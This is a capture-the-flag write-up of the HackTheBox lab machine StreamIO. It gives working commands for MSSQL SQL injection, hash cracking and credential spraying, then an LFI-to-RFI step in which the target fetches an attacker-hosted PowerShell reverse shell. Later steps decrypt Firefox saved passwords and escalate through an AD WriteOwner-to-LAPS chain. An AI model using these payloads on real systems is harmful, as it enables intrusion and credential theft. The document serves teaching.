← Back to writeups

StreamIO — SQL Injection to RFI, Firefox Creds, and LAPS Abuse on a Windows DC

Introduction

StreamIO is a Medium-rated Windows Active Directory machine on HackTheBox. It’s an excellent box for anyone learning web-to-AD attack chains: you start with a classic SQL injection on a PHP/MSSQL app, escalate through a file inclusion vulnerability and a dangerously written eval() function, then pivot through multiple sets of credentials until BloodHound reveals an AD permission chain that ends with LAPS — the Local Administrator Password Solution.

This machine teaches you to chain: SQL injection → hash cracking → admin panel abuse → LFI/RFI → shell → credential hunting → AD ACL abuse → LAPS read → Domain Admin. Each step is realistic and each technique appears regularly in real-world engagements.


Attack Chain Summary

Nmap: DC with HTTPS, WinRM, MSSQL

watch.streamio.htb → MSSQL UNION SQLi → Dump user hashes

Hashcat (rockyou) → yoshihide:66boysandgirls..

Admin panel (streamio.htb) → LFI via ?debug= param

PHP filter → Read source → DB creds + eval() in master.php

RFI via http:// → Reverse shell (yoshihide)

sqlcmd → streamio_backup DB → nikk37 hash → cracked

evil-winrm → nikk37 → USER FLAG

Firefox key4.db decrypt → JDgodd:JDg0dd1s@d0p3cr3@t0r

BloodHound: JDgodd --WriteOwner--> CORE STAFF --ReadLAPS--> DC

bloodyAD: GenericAll on group → Add JDgodd → Read LAPS

evil-winrm → Administrator → ROOT FLAG

Reconnaissance

Nmap Scan

sudo nmap -sS -sV -sC 10.129.29.8

Key open ports:

PortServiceNotes
53DNSDomain controller indicator
80HTTPIIS 10.0 — default page
88KerberosConfirms Active Directory
135/593RPCWindows RPC
139/445SMBRequires authentication
389/3268LDAPAD domain: streamIO.htb
443HTTPSSSL cert reveals vhosts
5985WinRMRemote management — useful for shells

The SSL certificate on port 443 is a goldmine: it contains Subject Alternative Names listing both virtual hostsstreamIO.htb and watch.streamIO.htb. This immediately tells us there are two separate web applications to enumerate.

Add both to /etc/hosts:

echo "10.129.29.8 DC.streamIO.htb streamIO.htb watch.streamIO.htb" | sudo tee -a /etc/hosts

Why enumerate virtual hosts? On Windows IIS servers, multiple web applications often run on the same IP but respond to different Host headers. Missing a vhost means missing part of the attack surface — in this case, the entire vulnerable application.

SMB and LDAP (dead ends, but worth checking)

smbclient -L //10.129.29.8 -N
# Result: NT_STATUS_ACCESS_DENIED — no null session

ldapsearch -x -H ldap://10.129.29.8 -b "DC=streamIO,DC=htb" -s base
# Result: requires authentication — no anonymous bind

These fail silently but confirm the machine is locked down at the network perimeter. We pivot to the web.


Enumeration

Two Web Applications

  • http://streamIO.htb (port 80) → IIS default page, nothing useful
  • https://streamIO.htb (port 443) → Main StreamIO website with a login page at /login.php and an /admin/ panel
  • https://watch.streamIO.htb (port 443) → Movie streaming site with a /search.php endpoint

Fuzzing watch.streamIO.htb

ffuf -u https://watch.streamIO.htb/FUZZ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -fc 404 -ic -e .asp,.aspx,.php,.html

Discovered: search.php, index.php, static/

The search.php page accepts a q POST parameter — a search field that queries movies from the backend database.

SQL Injection on search.php

Testing with a single quote ' causes a noticeable change in the response — a classic sign of SQL injection. The backend is Microsoft SQL Server (MSSQL).

Finding the number of columns — some payloads are blocked:

  • ' UNION SELECT NULL-- → blocked (NULL keyword filtered)
  • ' ORDER BY 1-- → blocked (ORDER BY filtered)

Working approach using empty string literals:

q='+UNION+SELECT+'','','','','',''--+

This works with 6 columns. Only column 2 is reflected in the page output.

Identifying the database engine:

q='+UNION+SELECT+'1',@@version,'3','4','5','6'--+

Result: Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ... Windows Server 2019 Standard

Why @@version instead of version()? MSSQL uses @@version (a global variable), while MySQL/PostgreSQL use version() as a function. Knowing which database engine you’re targeting determines which syntax and functions are available.

Dumping the Users table:

First, retrieve usernames:

curl -sk -X POST https://watch.streamio.htb/search.php \
  --data "q='+UNION+SELECT+'1',username,'3','4','5','6'+FROM+Users-- " \
  | grep -oP '(?<=<h5 class="p-2">)[^<]+'

Then extract username:hash pairs:

curl -sk -X POST https://watch.streamio.htb/search.php \
  --data "q='+UNION+SELECT+'1',CAST(id+AS+VARCHAR)%2b'+-+'+%2busername%2b'+:+'+%2bpassword,'3','4','5','6'+FROM+Users-- " \
  | grep -oP '(?<=<h5 class="p-2">)\d+ - \K[^<]+' > hashes.txt

Cracking the Hashes

The hashes are MD5 (32-character hex strings). Crack them with Hashcat:

# -m 0 = MD5 mode
# -a 0 = dictionary attack
# --username = input file has "username:hash" format
hashcat -m 0 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt --force

Cracked credentials:

UsernamePassword
Thanehighschoolmusical
Lenordphysics69i
adminpaddpadd
yoshihide66boysandgirls..
Clara%$clara
Bruno$monique$1991$
Barry$hadoW
Juliette$3xybitch
Lauren##123a8j8w5123##
Michelle!?Love?!123
Sabrina!!sabrina$
Victoria!5psycho8!

Credential Spray on the Login Page

Use ffuf in pitchfork mode to test all username/password pairs simultaneously:

# Extract lists
cut -d':' -f1 creds.txt > users.txt
cut -d':' -f2 creds.txt > passes.txt

ffuf -u https://streamio.htb/login.php \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=FUZZ1&password=FUZZ2" \
  -w users.txt:FUZZ1 \
  -w passes.txt:FUZZ2 \
  -mode pitchfork \
  -mc 302 -fr "Invalid"

Pitchfork mode tests pairs in order: user1:pass1, user2:pass2, etc. This assumes each username goes with its own password — correct for this scenario where we matched users to their hashes.

Hit: yoshihide:66boysandgirls.. → redirects to the home page (HTTP 302 = successful login).


Foothold / Initial Access

Admin Panel and the ?debug= Parameter

After logging in as yoshihide, the site shows an admin panel at https://streamio.htb/admin/. It has sections for users, messages, staff, and movies — but the most interesting discovery comes from parameter fuzzing.

Fuzzing for hidden query parameters:

ffuf -u "https://streamio.htb/admin/?FUZZ=" \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -b "PHPSESSID=<your_session>" \
  -fc 200 -fs 1678

Discovered: ?debug= — a hidden developer parameter.

Local File Inclusion (LFI)

Test the parameter with a known Windows file:

GET /admin/?debug=C%3A%5CWindows%5Cwin.ini

Decoded: C:\Windows\win.ini

The contents of win.ini appear on the page. This is a Local File Inclusion (LFI) vulnerability — the server is reading arbitrary local files and including their content in the response.

What is LFI? Local File Inclusion occurs when a web application uses user-supplied input to include files on the server without proper validation. An attacker can traverse the filesystem to read sensitive files like configuration files, source code, or even system files.

Reading PHP Source Code via PHP Filters

PHP includes a set of “wrappers” — special URI schemes that modify how files are read. The php://filter wrapper can encode a PHP file in Base64 before returning it, bypassing PHP execution and letting us read the source:

GET /admin/?debug=php://filter/convert.base64-encode/resource=index.php

Decode the Base64 output to get the source of index.php. Inside:

<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
    header('HTTP/1.1 403 Forbidden');
    die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
?>

Hardcoded database credentials found: db_admin:B1@hx31234567890

Now read master.php:

GET /admin/?debug=php://filter/convert.base64-encode/resource=master.php

At the bottom of master.php:

<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
    if($_POST['include'] !== "index.php" )
        eval(file_get_contents($_POST['include']));
    else
        echo(" ---- ERROR ---- ");
}
?>

This is critically dangerous code. file_get_contents() fetches the content of a URL or file path. eval() then executes that content as PHP code. If allow_url_include is enabled (or if the http:// wrapper works), an attacker can point include to a remote PHP file they control — Remote File Inclusion leading to Remote Code Execution.

Remote File Inclusion → Reverse Shell

The trick is:

  1. The include POST parameter points to our server
  2. file_get_contents() fetches our PHP file
  3. eval() executes the PHP code
  4. BUT eval() expects raw PHP code — without <?php ?> tags

Also important: the ?debug=master.php parameter must be set so the server includes and renders the master.php file containing the vulnerable eval() block.

Step 1: Generate a PowerShell reverse shell payload (Base64 encoded) from revshells.com — select “PowerShell Base64” with your IP and port.

Step 2: Create shell.php (no PHP tags — just raw PHP code for eval):

system("powershell -e <BASE64_PAYLOAD_HERE>");

Step 3: Host it on a Python HTTP server:

python3 -m http.server 8000

Step 4: Set up a listener:

nc -lvnp 4444

Step 5: Send the exploit:

curl -sk -X POST "https://streamio.htb/admin/?debug=master.php" \
  -b "PHPSESSID=<your_session>" \
  -d "include=http://10.10.15.86:8000/shell.php"

Shell received:

Connection received on 10.129.29.8 59719
PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide

Lateral Movement

Mining the Backup Database

We have a shell as yoshihide, and we already know the MSSQL credentials from the source code. The external MSSQL port (1433) is not open to our attacker machine, but we can run sqlcmd from within the compromised server:

sqlcmd -S '(local)' -U db_admin -P 'B1@hx31234567890' -Q 'SELECT name FROM master..sysdatabases;'

Databases found:

master
tempdb
model
msdb
STREAMIO
streamio_backup     ← interesting!

Query the backup database for more users:

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 `
  -Q "USE streamio_backup; SELECT username, password FROM users"

Output (subset):

nikk37    : 389d14cb8e4e9b94b137deb1caf0612a
yoshihide : b779ba15cedfd22a023c4d8bcf5f2332
James     : c660060492d9edcaa8332d89c99c9239
...

Crack the new hashes:

hashcat -m 0 -a 0 --username backup_hashes.txt /usr/share/wordlists/rockyou.txt --force

Cracked: nikk37:get_dem_girls2@yahoo.com

WinRM Access as nikk37

Port 5985 (WinRM) is open. Check if nikk37 is in the Remote Management Users group — BloodHound or a simple test confirms it:

evil-winrm -i streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com'
*Evil-WinRM* PS C:\Users\nikk37\Desktop> type user.txt
[redacted]

User flag obtained.


Privilege Escalation

Firefox Saved Credentials

Running a post-exploitation enumeration tool (e.g., winPEAS) flags something interesting:

Firefox credentials file exists at:
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

Firefox stores saved passwords in two files:

  • key4.db — the encryption key database (SQLite)
  • logins.json — the encrypted login entries

Together, these files can be decrypted offline.

Step 1: Download the Firefox profile files via evil-winrm:

# On the target (evil-winrm shell)
copy C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db C:\Windows\Temp\
copy C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json C:\Windows\Temp\
copy C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\cert9.db C:\Windows\Temp\

Then download them from evil-winrm with download C:\Windows\Temp\key4.db.

Step 2: Decrypt with firefox_decrypt:

git clone https://github.com/unode/firefox_decrypt.git
cd firefox_decrypt
python3 firefox_decrypt.py ~/firefox_creds/

Output:

Website:   https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'

Website:   https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'

Website:   https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'

Testing these creds reveals that JDgodd:JDg0dd1s@d0p3cr3@t0r is a valid domain account (the admin entry has the wrong username label — the actual username saved in the browser was JDgodd).

Why does this work? Firefox encrypts saved passwords using a master key derived from the user’s profile. When no master password is set (the default), the key is stored in key4.db and can be extracted. firefox_decrypt automates the decryption of logins.json using the key from key4.db.

BloodHound — AD Attack Path Discovery

Run BloodHound data collection from the attacker machine:

bloodhound-python -u nikk37 -p 'get_dem_girls2@yahoo.com' \
  -ns 10.129.29.8 -d streamIO.htb -c all

Import the resulting JSON files into BloodHound and search for attack paths to Domain Admin.

Key findings:

  1. JDgodd has WriteOwner on the CORE STAFF group
  2. The CORE STAFF group has ReadLAPSPassword on the Domain Controller (DC.streamIO.htb)

This is a two-hop privilege escalation chain:

  • WriteOwner → take ownership → grant yourself GenericAll → add yourself to group
  • Group member → read LAPS password → local admin on DC → WinRM as Administrator

Exploiting WriteOwner → LAPS Read

What is WriteOwner?
In Active Directory, every object (user, group, computer) has an owner. The owner has implicit permission to modify the object’s DACL (Discretionary Access Control List). If you have WriteOwner on an object, you can make yourself the owner, then grant yourself any permission you want — including GenericAll (full control).

What is LAPS?
LAPS (Local Administrator Password Solution) is a Microsoft feature that automatically manages and rotates the local administrator password on domain-joined computers. The password is stored in a confidential AD attribute (ms-Mcs-AdmPwd) and is only readable by users/groups that have been explicitly granted the ReadLAPSPassword permission.

Step 1: Confirm JDgodd already owns CORE STAFF (or set ownership):

bloodyAD --host 10.129.29.8 -d streamIO.htb \
  -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  set owner 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
  'CN=JDgodd,CN=Users,DC=streamIO,DC=htb'

Step 2: Grant JDgodd GenericAll on CORE STAFF (since JDgodd owns it, this is self-granting):

bloodyAD --host 10.129.29.8 -d streamIO.htb \
  -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  add genericAll 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
  'CN=JDgodd,CN=Users,DC=streamIO,DC=htb'

Step 3: Add JDgodd as a member of CORE STAFF:

bloodyAD --host 10.129.29.8 -d streamIO.htb \
  -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  add groupMember 'CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb' \
  'CN=JDgodd,CN=Users,DC=streamIO,DC=htb'

Step 4: Read the LAPS password (JDgodd is now in CORE STAFF, which can read LAPS):

bloodyAD --host 10.129.29.8 -d streamIO.htb \
  -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  get object 'CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb' \
  --attr ms-Mcs-AdmPwd

Output:

ms-Mcs-AdmPwd: D6Bhe,{L4l]VMn

Administrator Shell

evil-winrm -i 10.129.29.8 -u Administrator -p 'D6Bhe,{L4l]VMn'

The root flag is in Martin’s Desktop (not Administrator’s — worth checking with a recursive search):

Get-ChildItem -Path C:\ -Recurse -Filter "root.txt" -ErrorAction SilentlyContinue -Force
Directory: C:\Documents and Settings\Martin\Desktop
-ar---  root.txt
*Evil-WinRM* PS C:\Users\martin\Desktop> type root.txt
[redacted]

Root flag obtained.


Flags

User flag : [redacted]
Root flag : [redacted]

Key Takeaways

  • MSSQL UNION injection requires knowing the exact number of columns and which columns are reflected. When common keywords (NULL, ORDER BY) are filtered, test with empty strings to enumerate column count.

  • PHP eval(file_get_contents($input)) is one of the most dangerous patterns in PHP code. The http:// RFI wrapper often works even when data:// is blocked. Always test RFI before assuming only LFI is possible.

  • Never hardcode credentials in PHP source files. In this box, reading index.php via PHP filter exposed DB credentials that enabled lateral movement to the backup database and ultimately to a new user.

  • Firefox credential files are a high-value target on any Windows machine where a browser is installed. If a user has saved passwords, key4.db + logins.json can be decrypted without the master password (unless explicitly set) using firefox_decrypt.

  • BloodHound is essential for AD chains. The WriteOwner → GenericAll → group membership → LAPS read chain is invisible without a graph view of AD permissions. Always run BloodHound as soon as you have valid domain credentials.


Resources